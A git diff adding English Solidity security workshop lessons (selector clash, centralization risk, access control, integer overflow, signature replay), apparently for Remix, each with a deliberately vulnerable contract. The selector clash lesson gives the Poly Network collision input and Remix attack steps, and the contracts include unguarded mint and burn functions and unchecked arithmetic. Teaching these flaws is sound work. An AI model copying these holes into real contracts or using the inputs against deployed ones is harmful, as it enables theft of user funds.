b/S02_SelectorClash_en/config.yml @@ -0,0 +1,12 @@ +id: s02-selector-clash +name: S02. Selector Clash +summary: Understand selector clash attacks that exploit function signature collisions. Learn how this vulnerability contributed to major cross-chain bridge hacks and how to protect against it. +level: 2 +tags: +- solidity +- security +- selector +- abi encode +steps: +- name: Selector Clash + path: step1 diff --git a/S02_SelectorClash_en/readme.md b/S02_SelectorClash_en/readme.md new file mode 100644 index 000000000..4aece4e46 --- /dev/null +++ b/S02_SelectorClash_en/readme.md @@ -0,0 +1,15 @@ +--- +title: S02. Selector Clash +tags: + - solidity + - security + - selector + - abi encode +--- + +# WTF Solidity S02. Selector Clash + +In this lesson, we will introduce the selector clash attack, which is one of the reasons behind the hack of the cross-chain bridge Poly Network. In August 2021, the cross-chain bridge contracts of Poly Network on ETH, BSC, and Polygon were hacked, resulting in a loss of up to $611 million ([summary](https://rekt.news/zh/polynetwork-rekt/)). This is the largest blockchain hack of 2021 and the second-largest in history, second only to the Ronin Bridge hack. + + + diff --git a/S02_SelectorClash_en/step1/SelectorClash.sol b/S02_SelectorClash_en/step1/SelectorClash.sol new file mode 100644 index 000000000..090cb8185 --- /dev/null +++ b/S02_SelectorClash_en/step1/SelectorClash.sol @@ -0,0 +1,27 @@ +// SPDX-License-Identifier: MIT +// by 0xAA +// english translation by: 22X +pragma solidity ^0.8.21; + +contract SelectorClash { + bool public solved; // Whether the attack is successful + + // The attacker needs to call this function, but the caller msg.sender must be this contract. + function putCurEpochConPubKeyBytes(bytes memory _bytes) public { + require(msg.sender == address(this), "Not Owner"); + solved = true; + } + + // Vulnerable, the attacker can collide function selectors by changing the _method variable, call the target function, and complete the attack. + function executeCrossChainTx(bytes memory _method, bytes memory _bytes, bytes memory _bytes1, uint64 _num) public returns(bool success){ + (success, ) = address(this).call(abi.encodePacked(bytes4(keccak256(abi.encodePacked(_method, "(bytes,bytes,uint64)"))), abi.encode(_bytes, _bytes1, _num))); + } + + function secretSlector() external pure returns(bytes4){ + return bytes4(keccak256("putCurEpochConPubKeyBytes(bytes)")); + } + + function hackSlector() external pure returns(bytes4){ + return bytes4(keccak256("f1121318093(bytes,bytes,uint64)")); + } +} \ No newline at end of file diff --git a/S02_SelectorClash_en/step1/img/S02-1.png b/S02_SelectorClash_en/step1/img/S02-1.png new file mode 100644 index 000000000..6929c736c Binary files /dev/null and b/S02_SelectorClash_en/step1/img/S02-1.png differ diff --git a/S02_SelectorClash_en/step1/img/S02-2.png b/S02_SelectorClash_en/step1/img/S02-2.png new file mode 100644 index 000000000..ce6c63bb7 Binary files /dev/null and b/S02_SelectorClash_en/step1/img/S02-2.png differ diff --git a/S02_SelectorClash_en/step1/step1.md b/S02_SelectorClash_en/step1/step1.md new file mode 100644 index 000000000..4286e0455 --- /dev/null +++ b/S02_SelectorClash_en/step1/step1.md @@ -0,0 +1,98 @@ +--- +title: S02. Selector Clash +tags: + - solidity + - security + - selector + - abi encode +--- + +# WTF Solidity S02. Selector Clash + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy\_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +English translations by: [@to_22X](https://twitter.com/to_22X) + +--- + +In this lesson, we will introduce the selector clash attack, which is one of the reasons behind the hack of the cross-chain bridge Poly Network. In August 2021, the cross-chain bridge contracts of Poly Network on ETH, BSC, and Polygon were hacked, resulting in a loss of up to $611 million ([summary](https://rekt.news/zh/polynetwork-rekt/)). This is the largest blockchain hack of 2021 and the second-largest in history, second only to the Ronin Bridge hack. + +## Selector Clash + +In Ethereum smart contracts, the function selector is the first 4 bytes (8 hexadecimal digits) of the hash value of the function signature `"()"`. When a user calls a function in a contract, the first 4 bytes of the `calldata` represent the selector of the target function, determining which function to call. If you are not familiar with it, you can read the [WTF Solidity 29: Function Selectors](https://github.com/AmazingAng/WTF-Solidity/blob/main/Languages/en/29_Selector_en/readme.md). + +Due to the limited length of the function selector (4 bytes), it is very easy to collide: that is, we can easily find two different functions that have the same function selector. For example, `transferFrom(address,address,uint256)` and `gasprice_bit_ether(int128)` have the same selector: `0x23b872dd`. Of course, you can also write a script to brute force it. + +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/S02_SelectorClash_en/step1/img/S02-1.png) + +You can use the following websites to find different functions corresponding to the same selector: + +1. [https://www.4byte.directory/](https://www.4byte.directory/) +2. [https://sig.eth.samczsun.com/](https://sig.eth.samczsun.com/) + +You can also use the "Power Clash" tool below for brute forcing: + +1. PowerClash: https://github.com/AmazingAng/power-clash + +In contrast, the public key of a wallet is `64` bytes long and the probability of collision is almost `0`, making it very secure. + +## `0xAA` Solves the Sphinx Riddle + +The people of Ethereum have angered the gods, and the gods are furious. In order to punish the people of Ethereum, the goddess Hera sends down a Sphinx, a creature with the head of a human and the body of a lion, to the cliffs of Ethereum. The Sphinx presents a riddle to every Ethereum user who passes by the cliff: "What walks on four legs in the morning, two legs at noon, and three legs in the evening? It is the only creature that walks on different numbers of legs throughout its life. When it has the most legs, it is at its slowest and weakest." Those who solve this enigmatic riddle will be spared, while those who fail to solve it will be devoured. The Sphinx uses the selector `0x10cd2dc7` to verify the correct answer. + +One morning, Oedipus passes by and encounters the Sphinx. He solves the mysterious riddle and says, "It is `function man()`. In the morning of life, he is a child who crawls on two legs and two hands. At noon, he becomes an adult who walks on two legs. In the evening, he grows old and weak and needs a cane to walk, hence he is called three-legged." After guessing the riddle correctly, Oedipus is allowed to live. + +Later that afternoon, `0xAA` passes by and encounters the Sphinx. He also solves the mysterious riddle and says, "It is `function peopleLduohW(uint256)`. In the morning of life, he is a child who crawls on two legs and two hands. At noon, he becomes an adult who walks on two legs. In the evening, he grows old and weak and needs a cane to walk, hence he is called three-legged." Once again, the riddle is guessed correctly, and the Sphinx becomes furious. In a fit of anger, the Sphinx slips and falls from the towering cliff to its death. + +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/S02_SelectorClash_en/step1/img/S02-2.png) + +## Vulnerable Contract Example + +### Vulnerable Contract + +Let's take a look at an example of a vulnerable contract. The `SelectorClash` contract has one state variable `solved`, initialized as `false`, which the attacker needs to change to `true`. The contract has `2` main functions, named after the Poly Network vulnerable contract. + +1. `putCurEpochConPubKeyBytes()`: After calling this function, the attacker can change `solved` to `true` and complete the attack. However, this function checks `msg.sender == address(this)`, so the caller must be the contract itself. We need to look at other functions. + +2. `executeCrossChainTx()`: This function allows calling functions within the contract, but the function parameters are slightly different from the target function: the target function takes `(bytes)` as parameters, while this function takes `(bytes, bytes, uint64)`. + +```solidity +contract SelectorClash { + bool public solved; // Whether the attack is successful + + // The attacker needs to call this function, but the caller msg.sender must be this contract. + function putCurEpochConPubKeyBytes(bytes memory _bytes) public { + require(msg.sender == address(this), "Not Owner"); + solved = true; + } + + // Vulnerable, the attacker can collide function selectors by changing the _method variable, call the target function, and complete the attack. + function executeCrossChainTx(bytes memory _method, bytes memory _bytes, bytes memory _bytes1, uint64 _num) public returns(bool success){ + (success, ) = address(this).call(abi.encodePacked(bytes4(keccak256(abi.encodePacked(_method, "(bytes,bytes,uint64)"))), abi.encode(_bytes, _bytes1, _num))); + } +} +``` + +### How to Attack + +Our goal is to use the `executeCrossChainTx()` function to call the `putCurEpochConPubKeyBytes()` function in the contract. The selector of the target function is `0x41973cd9`. We observe that the `executeCrossChainTx()` function calculates the selector using the `_method` parameter and `"(bytes,bytes,uint64)"` as the function signature. Therefore, we just need to choose the appropriate `_method` so that the calculated selector matches `0x41973cd9`, allowing us to call the target function through selector collision. + +In the Poly Network hack, the hacker collided the `_method` as `f1121318093`, which means the first `4` bytes of the hash of `f1121318093(bytes,bytes,uint64)` is also `0x41973cd9`, successfully calling the function. Next, we need to convert `f1121318093` to the `bytes` type: `0x6631313231333138303933`, and pass it as a parameter to `executeCrossChainTx()`. The other `3` parameters of `executeCrossChainTx()` are not important, so we can fill them with `0x`, `0x`, and `0`. + +## Reproduce on `Remix` + +1. Deploy the `SelectorClash` contract. +2. Call `executeCrossChainTx()` with the parameters `0x6631313231333138303933`, `0x`, `0x`, and `0`, to initiate the attack. +3. Check the value of the `solved` variable, which should be modified to `true`, indicating a successful attack. + +## Summary + +In this lesson, we introduced the selector clash attack, which is one of the reasons behind the $611 million hack of the Poly Network cross-chain bridge. This attack teaches us: + +1. Function selectors are easily collided, even when changing parameter types, it is still possible to construct functions with the same selector. + +2. Manage the permissions of contract functions properly to ensure that functions of contracts with special privileges cannot be called by users. diff --git a/S03_Centralization_en/config.yml b/S03_Centralization_en/config.yml new file mode 100644 index 000000000..dd4265ce8 --- /dev/null +++ b/S03_Centralization_en/config.yml @@ -0,0 +1,11 @@ +id: s03-centralization-risks +name: S03. Centralization Risks +summary: Explore the risks of centralization and pseudo-decentralization in smart contracts. Learn from real-world examples like the Ronin bridge hack and how to design more resilient systems. +level: 2 +tags: +- solidity +- security +- multisig +steps: +- name: Centralization Risks + path: step1 diff --git a/S03_Centralization_en/readme.md b/S03_Centralization_en/readme.md new file mode 100644 index 000000000..38448f562 --- /dev/null +++ b/S03_Centralization_en/readme.md @@ -0,0 +1,14 @@ +--- +title: S03. Centralization Risks +tags: + - solidity + - security + - multisig +--- + +# WTF Solidity S03. Centralization Risks + +In this lesson, we will discuss the risks of centralization and pseudo-decentralization in smart contracts. The `Ronin` bridge and `Harmony` bridge were hacked due to these vulnerabilities, resulting in the theft of $624 million and $100 million, respectively. + + + diff --git a/S03_Centralization_en/step1/Centralization.sol b/S03_Centralization_en/step1/Centralization.sol new file mode 100644 index 000000000..5d99fc265 --- /dev/null +++ b/S03_Centralization_en/step1/Centralization.sol @@ -0,0 +1,16 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; +import "@openzeppelin/contracts/access/Ownable.sol"; + +contract Centralization is ERC20, Ownable { + constructor() ERC20("Centralization", "Cent") { + address exposedAccount = 0xe16C1623c1AA7D919cd2241d8b36d9E79C1Be2A2; + transferOwnership(exposedAccount); + } + + function mint(address to, uint256 amount) external onlyOwner{ + _mint(to, amount); + } +} \ No newline at end of file diff --git a/S03_Centralization_en/step1/img/S03-1.png b/S03_Centralization_en/step1/img/S03-1.png new file mode 100644 index 000000000..c2ff9bf1c Binary files /dev/null and b/S03_Centralization_en/step1/img/S03-1.png differ diff --git a/S03_Centralization_en/step1/step1.md b/S03_Centralization_en/step1/step1.md new file mode 100644 index 000000000..ad246f659 --- /dev/null +++ b/S03_Centralization_en/step1/step1.md @@ -0,0 +1,76 @@ +--- +title: S03. Centralization Risks +tags: + - solidity + - security + - multisig +--- + +# WTF Solidity S03. Centralization Risks + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy\_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +English translations by: [@to_22X](https://twitter.com/to_22X) + +--- + +In this lesson, we will discuss the risks of centralization and pseudo-decentralization in smart contracts. The `Ronin` bridge and `Harmony` bridge were hacked due to these vulnerabilities, resulting in the theft of $624 million and $100 million, respectively. + +## Centralization Risks + +We often take pride in the decentralization of Web3, believing that in the world of Web3.0, ownership and control are decentralized. However, centralization is actually one of the most common risks in Web3 projects. In their [2021 DeFi Security Report](https://f.hubspotusercontent40.net/hubfs/4972390/Marketing/defi%20security%20report%202021-v6.pdf), renowned blockchain auditing firm Certik pointed out: + +> Centralization risk is the most common vulnerability in DeFi, with 44 DeFi hacks in 2021 related to it, resulting in over $1.3 billion in user funds lost. This emphasizes the importance of decentralization, and many projects still need to work towards this goal. + +Centralization risk refers to the centralization of ownership in smart contracts, where the `owner` of the contract is controlled by a single address. This owner can freely modify contract parameters and even withdraw user funds. Centralized projects have a single point of failure and can be exploited by malicious developers (insiders) or hackers who gain control over the address with control permissions. They can perform actions such as `rug-pull`ing, unlimited minting, or other methods to steal funds. + +Gaming project `Vulcan Forged` was hacked for $140 million in December 2021 due to a leaked private key. DeFi project `EasyFi` was hacked for $59 million in April 2021 due to a leaked private key. DeFi project `bZx` lost $55 million in a phishing attack due to a leaked private key. + +## Pseudo-Decentralization Risks + +Pseudo-decentralized projects often claim to be decentralized but still have a single point of failure, similar to centralized projects. For example, they may use a multi-signature wallet to manage smart contracts, but a few signers act in consensus and are controlled by a single person. These projects, packaged as decentralized, easily gain the trust of investors. Therefore, when a hack occurs, the amount stolen is often larger. + +The Ronin bridge of the popular gaming project Axie was hacked for $624 million in March 2022, making it the largest theft in history. The Ronin bridge is maintained by 9 validators, and 5 of them must reach consensus to approve deposit and withdrawal transactions. This appears to be similar to a multi-signature setup and highly decentralized. However, 4 of the validators are controlled by Axie's development company, Sky Mavis, and the other validator controlled by Axie DAO also approved transactions on behalf of Sky Mavis. Therefore, once the attacker gains access to Sky Mavis' private key (specific method undisclosed), they can control the 5 validators and authorize the theft of 173,600 ETH and $25.5 million USDC. + +The Harmony cross-chain bridge was hacked for $100 million in June 2022. The Harmony bridge is controlled by 5 multi-signature signers, and shockingly, only 2 signatures are required to approve a transaction. After the hacker managed to steal the private keys of two signers, they emptied the assets pledged by users. + +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/S03_Centralization_en/step1/img/S03-1.png) + +## Examples of Vulnerable Contracts + +There are various types of contracts with centralization risks, but here is the most common example: an `ERC20` contract where the `owner` address can mint tokens arbitrarily. When an insider or hacker obtains the private key of the `owner`, they can mint an unlimited amount of tokens, causing significant losses for investors. + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; +import "@openzeppelin/contracts/access/Ownable.sol"; + +contract Centralization is ERC20, Ownable { + constructor() ERC20("Centralization", "Cent") { + address exposedAccount = 0xe16C1623c1AA7D919cd2241d8b36d9E79C1Be2A2; + transferOwnership(exposedAccount); + } + + function mint(address to, uint256 amount) external onlyOwner{ + _mint(to, amount); + } +} +``` + +## How to Reduce Centralization/Pseudo-Decentralization Risks? + +1. Use a multi-signature wallet to manage the treasury and control contract parameters. To balance efficiency and decentralization, you can choose a 4/7 or 6/9 multi-signature setup. If you are not familiar with multi-signature wallets, you can read [WTF Solidity 50: Multi-Signature Wallet](https://github.com/AmazingAng/WTF-Solidity/blob/main/Languages/en/50_MultisigWallet_en/readme.md). + +2. Diversify the holders of the multi-signature wallet, spreading them among the founding team, investors, and community leaders, and do not authorize each other's signatures. + +3. Use time locks to control the contract, giving the project team and community some time to respond and minimize losses in case of hacking or insider manipulation of contract parameters/asset theft. If you are not familiar with time lock contracts, you can read [WTF Solidity 45: Time Lock](https://github.com/AmazingAng/WTF-Solidity/blob/main/Languages/en/45_Timelock_en/readme.md). + +## Summary + +Centralization/pseudo-decentralization is the biggest risk for blockchain projects, causing over $2 billion in user fund losses in the past two years. Centralization risks can be identified by analyzing the contract code, while pseudo-decentralization risks are more hidden and require thorough due diligence of the project to uncover. diff --git a/S04_AccessControlExploit_en/config.yml b/S04_AccessControlExploit_en/config.yml new file mode 100644 index 000000000..cb4963756 --- /dev/null +++ b/S04_AccessControlExploit_en/config.yml @@ -0,0 +1,12 @@ +id: s04-access-control-exploit +name: S04. Access Control Exploit +summary: Study access control vulnerabilities in smart contracts that led to major exploits like the Poly Network hack. Learn proper access control patterns and security best practices. +level: 2 +tags: +- solidity +- security +- modifier +- erc20 +steps: +- name: Access Control Exploit + path: step1 diff --git a/S04_AccessControlExploit_en/readme.md b/S04_AccessControlExploit_en/readme.md new file mode 100644 index 000000000..d63794856 --- /dev/null +++ b/S04_AccessControlExploit_en/readme.md @@ -0,0 +1,15 @@ +--- +title: S04. Access Control Exploit +tags: + - solidity + - security + - modifier + - erc20 +--- + +# WTF Solidity S04. Access Control Exploit + +In this lesson, we will discuss the access control vulnerabilities in smart contracts. These vulnerabilities led to the Poly Network being hacked for $611 million and the ShadowFi DeFi project on BSC being hacked for $300,000. + + + diff --git a/S04_AccessControlExploit_en/step1/AccessControlExploit.sol b/S04_AccessControlExploit_en/step1/AccessControlExploit.sol new file mode 100644 index 000000000..0062d7977 --- /dev/null +++ b/S04_AccessControlExploit_en/step1/AccessControlExploit.sol @@ -0,0 +1,35 @@ +// SPDX-License-Identifier: MIT +// english translation by 22X +pragma solidity ^0.8.21; + +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; +import "@openzeppelin/contracts/access/Ownable.sol"; + +// Access Control Exploit Example +contract AccessControlExploit is ERC20, Ownable { + // Constructor: Initialize token name and symbol + constructor() ERC20("Wrong Access", "WA") {} + + // Bad mint function without access control + function badMint(address to, uint amount) public { + _mint(to, amount); + } + + // Good mint function with onlyOwner modifier for access control + function goodMint(address to, uint amount) public onlyOwner { + _mint(to, amount); + } + + // Bad burn function without access control + function badBurn(address account, uint amount) public { + _burn(account, amount); + } + + // Good burn function that checks authorization if burning tokens owned by another account + function goodBurn(address account, uint amount) public { + if(msg.sender != account){ + _spendAllowance(account, msg.sender, amount); + } + _burn(account, amount); + } +} diff --git a/S04_AccessControlExploit_en/step1/img/S04-1.png b/S04_AccessControlExploit_en/step1/img/S04-1.png new file mode 100644 index 000000000..c39ac0973 Binary files /dev/null and b/S04_AccessControlExploit_en/step1/img/S04-1.png differ diff --git a/S04_AccessControlExploit_en/step1/img/S04-2.png b/S04_AccessControlExploit_en/step1/img/S04-2.png new file mode 100644 index 000000000..194ae432d Binary files /dev/null and b/S04_AccessControlExploit_en/step1/img/S04-2.png differ diff --git a/S04_AccessControlExploit_en/step1/step1.md b/S04_AccessControlExploit_en/step1/step1.md new file mode 100644 index 000000000..8d2a397d9 --- /dev/null +++ b/S04_AccessControlExploit_en/step1/step1.md @@ -0,0 +1,83 @@ +--- +title: S04. Access Control Exploit +tags: + - solidity + - security + - modifier + - erc20 +--- + +# WTF Solidity S04. Access Control Exploit + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +English translations by: [@to_22X](https://twitter.com/to_22X) + +----- + +In this lesson, we will discuss the access control vulnerabilities in smart contracts. These vulnerabilities led to the Poly Network being hacked for $611 million and the ShadowFi DeFi project on BSC being hacked for $300,000. + +## Access Control Vulnerabilities + +Access control in smart contracts defines the roles and accesses of different users in the application. Typically, functions such as token minting, fund withdrawal, and pausing require higher-level accesses to be called. If the access configuration is incorrect, it can lead to unexpected losses. Below, we will discuss two common access control vulnerabilities. + +### 1. Incorrect Access Configuration + +If special functions in a contract are not properly managed with accesses, anyone can mint a large number of tokens or drain the funds from the contract. In the case of the Poly Network cross-chain bridge, the function for transferring guardianship was not configured with the appropriate accesses, allowing hackers to change it to their own address and withdraw $611 million from the contract. + +In the code below, the `mint()` function does not have access control, allowing anyone to call it and mint tokens. + +```solidity +// Bad mint function without access control +function badMint(address to, uint amount) public { + _mint(to, amount); +} +``` + +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/S04_AccessControlExploit_en/step1/img/S04-1.png) + +### 2. Authorization Check Error + +Another common type of access control vulnerability is failing to check if the caller has sufficient authorization in a function. The token contract of the DeFi project ShadowFi on BSC forgot to check the caller's allowance in the `burn()` function, allowing attackers to arbitrarily burn tokens from other addresses. After the hacker burned tokens in the liquidity pool, they only needed to sell a small amount of tokens to withdraw all the BNB from the pool, resulting in a profit of $300,000. + +```solidity +// Bad burn function without access control +function badBurn(address account, uint amount) public { + _burn(account, amount); +} +``` + +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/S04_AccessControlExploit_en/step1/img/S04-2.png) + +## How to Prevent + +There are two main methods for preventing access control vulnerabilities: + +1. Use OpenZeppelin's access control library to configure appropriate accesses for special functions in the contract. For example, use the `OnlyOwner` modifier to restrict access to only the contract owner. + +```solidity +// Good mint function with onlyOwner modifier for access control +function goodMint(address to, uint amount) public onlyOwner { + _mint(to, amount); +} +``` + +2. Ensure that the caller of the function has sufficient authorization within the function's logic. + +```solidity +// Good burn function that checks authorization if burning tokens owned by another account +function goodBurn(address account, uint amount) public { + if(msg.sender != account){ + _spendAllowance(account, msg.sender, amount); + } + _burn(account, amount); +} +``` + +## Summary + +In this lesson, we discussed access control vulnerabilities in smart contracts. There are two main forms: incorrect access configuration and authorization check errors. To avoid these vulnerabilities, we should use an access control library to configure appropriate accesses for special functions and ensure that the caller of the function has sufficient authorization within the function's logic. diff --git a/S05_Overflow_en/config.yml b/S05_Overflow_en/config.yml new file mode 100644 index 000000000..77c697eaa --- /dev/null +++ b/S05_Overflow_en/config.yml @@ -0,0 +1,10 @@ +id: s05-integer-overflow +name: S05. Integer Overflow +summary: Discover integer overflow and underflow vulnerabilities in Solidity. Learn how arithmetic operations can be exploited and how to use SafeMath or Solidity 0.8+ to prevent these issues. +level: 2 +tags: +- solidity +- security +steps: +- name: Integer Overflow + path: step1 diff --git a/S05_Overflow_en/readme.md b/S05_Overflow_en/readme.md new file mode 100644 index 000000000..c6021dade --- /dev/null +++ b/S05_Overflow_en/readme.md @@ -0,0 +1,13 @@ +--- +title: S05. Integer Overflow +tags: + - solidity + - security +--- + +# WTF Solidity S05. Integer Overflow + +In this lesson, we will introduce the integer overflow vulnerability (Arithmetic Over/Under Flows). This is a relatively common vulnerability, but it has become less prevalent since Solidity version 0.8, which includes the Safemath library. + + + diff --git a/S05_Overflow_en/step1/Overflow.sol b/S05_Overflow_en/step1/Overflow.sol new file mode 100644 index 000000000..1a54e31e4 --- /dev/null +++ b/S05_Overflow_en/step1/Overflow.sol @@ -0,0 +1,23 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +contract Token { + mapping(address => uint) balances; + uint public totalSupply; + + constructor(uint _initialSupply) { + balances[msg.sender] = totalSupply = _initialSupply; + } + + function transfer(address _to, uint _value) public returns (bool) { + unchecked{ + require(balances[msg.sender] - _value >= 0); + balances[msg.sender] -= _value; + balances[_to] += _value; + } + return true; + } + function balanceOf(address _owner) public view returns (uint balance) { + return balances[_owner]; + } +} diff --git a/S05_Overflow_en/step1/img/S05-1.png b/S05_Overflow_en/step1/img/S05-1.png new file mode 100644 index 000000000..86a36db65 Binary files /dev/null and b/S05_Overflow_en/step1/img/S05-1.png differ diff --git a/S05_Overflow_en/step1/step1.md b/S05_Overflow_en/step1/step1.md new file mode 100644 index 000000000..1bda79970 --- /dev/null +++ b/S05_Overflow_en/step1/step1.md @@ -0,0 +1,84 @@ +--- +title: S05. Integer Overflow +tags: + - solidity + - security +--- + +# WTF Solidity S05. Integer Overflow + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +English translations by: [@to_22X](https://twitter.com/to_22X) + +----- + +In this lesson, we will introduce the integer overflow vulnerability (Arithmetic Over/Under Flows). This is a relatively common vulnerability, but it has become less prevalent since Solidity version 0.8, which includes the Safemath library. + +## Integer Overflow + +The Ethereum Virtual Machine (EVM) has fixed-size integers, which means it can only represent a specific range of numbers. For example, a `uint8` can only represent numbers in the range of [0, 255]. If a `uint8` variable is assigned the value `257`, it will overflow and become `1`; if it is assigned `-1`, it will underflow and become `255`. + +Attackers can exploit this vulnerability: imagine a hacker with a balance of `0` who magically increases their balance by `$1`, and suddenly their balance becomes `$2^256-1`. In 2018, the "PoWHC" project lost `866 ETH` due to this vulnerability. + +![](https://raw.githubusercontent.com/remix-project-org/remix-workshops/master/S05_Overflow_en/step1/img/S05-1.png) + +## Vulnerable Contract Example + +The following example is a simple token contract inspired by the "Ethernaut" contract. It has `2` state variables: `balances`, which records the balance of each address, and `totalSupply`, which records the total token supply. + +It has `3` functions: + +- Constructor: Initializes the total token supply. +- `transfer()`: Transfer function. +- `balanceOf()`: Balance query function. + +Since Solidity version `0.8.0`, integer overflow errors are automatically checked, and an error is thrown if an overflow occurs. To reproduce this vulnerability, we need to use the `unchecked` keyword to temporarily disable the overflow check within a code block, as we did in the `transfer()` function. + +The vulnerability in this example lies in the `transfer()` function, specifically the line `require(balances[msg.sender] - _value >= 0);`. Due to integer overflow, this check will always pass. Therefore, users can transfer an unlimited amount of tokens. + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +contract Token { + mapping(address => uint) balances; + uint public totalSupply; + + constructor(uint _initialSupply) { + balances[msg.sender] = totalSupply = _initialSupply; + } + + function transfer(address _to, uint _value) public returns (bool) { + unchecked{ + require(balances[msg.sender] - _value >= 0); + balances[msg.sender] -= _value; + balances[_to] += _value; + } + return true; + } + function balanceOf(address _owner) public view returns (uint balance) { + return balances[_owner]; + } +} +``` + +## Reproduce on `Remix` + +1. Deploy the `Token` contract and set the total supply to `100`. +2. Transfer `1000` tokens to another account, which can be done successfully. +3. Check the balance of your own account and find a very large number, approximately `2^256`. + +## How to Prevent + +1. For versions of Solidity before `0.8.0`, include the [Safemath library](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol) in the contract to throw an error in case of integer overflow. + +2. For versions of Solidity after `0.8.0`, `Safemath` is built-in, so this type of issue is almost non-existent. However, developers may temporarily disable integer overflow checks within a code block using the `unchecked` keyword to save gas. In such cases, it is important to ensure that no integer overflow vulnerabilities exist. + +## Summary + +In this lesson, we introduced the classic integer overflow vulnerability. Due to the built-in `Safemath` integer overflow check in Solidity version `0.8.0` and later, this type of vulnerability has become rare. diff --git a/S06_SignatureReplay_en/config.yml b/S06_SignatureReplay_en/config.yml new file mode 100644 index 000000000..7e8ae800e --- /dev/null +++ b/S06_SignatureReplay_en/config.yml @@ -0,0 +1,11 @@ +id: s06-signature-replay +name: S06. Signature Replay +summary: Learn about signature replay attacks where valid signatures can be reused maliciously. Understand nonces, chain IDs, and other techniques to prevent signature replay vulnerabilities. +level: 2 +tags: +- solidity +- security +- signature +steps: +- name: Signature Replay + path: step1 diff --git a/S06_SignatureReplay_en/readme.md b/S06_SignatureReplay_en/readme.md new file mode 100644 index 000000000..942435c48 --- /dev/null +++ b/S06_SignatureReplay_en/readme.md @@ -0,0 +1,14 @@ +--- +title: S06. Signature Replay +tags: + - solidity + - security + - signature +--- + +# WTF Solidity S06. Signature Replay + +In this lesson, we will introduce the Signature Replay attack and how to prevent it in smart contracts, which indirectly led to the theft of 20 million $OP tokens from the famous market maker Wintermute. + + + diff --git a/S06_SignatureReplay_en/step1/SingatureReplay.sol b/S06_SignatureReplay_en/step1/SingatureReplay.sol new file mode 100644 index 000000000..aa224caa1 --- /dev/null +++ b/S06_SignatureReplay_en/step1/SingatureReplay.sol @@ -0,0 +1,80 @@ +// SPDX-License-Identifier: MIT +// english translation by 22X +pragma solidity ^0.8.21; + +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; +import "@openzeppelin/contracts/access/Ownable.sol"; +import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; + +// Access control bad example +contract SigReplay is ERC20 { + + address public signer; + + // Constructor: initialize token name and symbol + constructor() ERC20("SigReplay", "Replay") { + signer = msg.sender; + } + + /** + * Mint function with signature replay vulnerability + * to: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 + * amount: 1000 + * Signature: 0x5a4f1ad4d8bd6b5582e658087633230d9810a0b7b8afa791e3f94cc38947f6cb1069519caf5bba7b975df29cbfdb4ada355027589a989435bf88e825841452f61b + */ + function badMint(address to, uint amount, bytes memory signature) public { + bytes32 _msgHash = toEthSignedMessageHash(getMessageHash(to, amount)); + require(verify(_msgHash, signature), "Invalid Signer!"); + _mint(to, amount); + } + + /** + * Concatenate the 'to' address (address type) and 'amount' (uint256 type) to form the message 'msgHash' + * to: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 + * amount: 1000 + * Corresponding message 'msgHash': 0xb4a4ba10fbd6886a312ec31c54137f5714ddc0e93274da8746a36d2fa96768be + */ + function getMessageHash(address to, uint256 amount) public pure returns(bytes32){ + return keccak256(abi.encodePacked(to, amount)); + } + + /** + * @dev Get the Ethereum signed message hash + * `hash`: Message hash + * Follows the Ethereum signature standard: https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] + * and `EIP191`: https://eips.ethereum.org/EIPS/eip-191` + * Adds the "\x19Ethereum Signed Message:\n32" field to prevent signing of executable transactions. + */ + function toEthSignedMessageHash(bytes32 hash) public pure returns (bytes32) { + // 32 is the length in bytes of hash, + // enforced by the type signature above + return 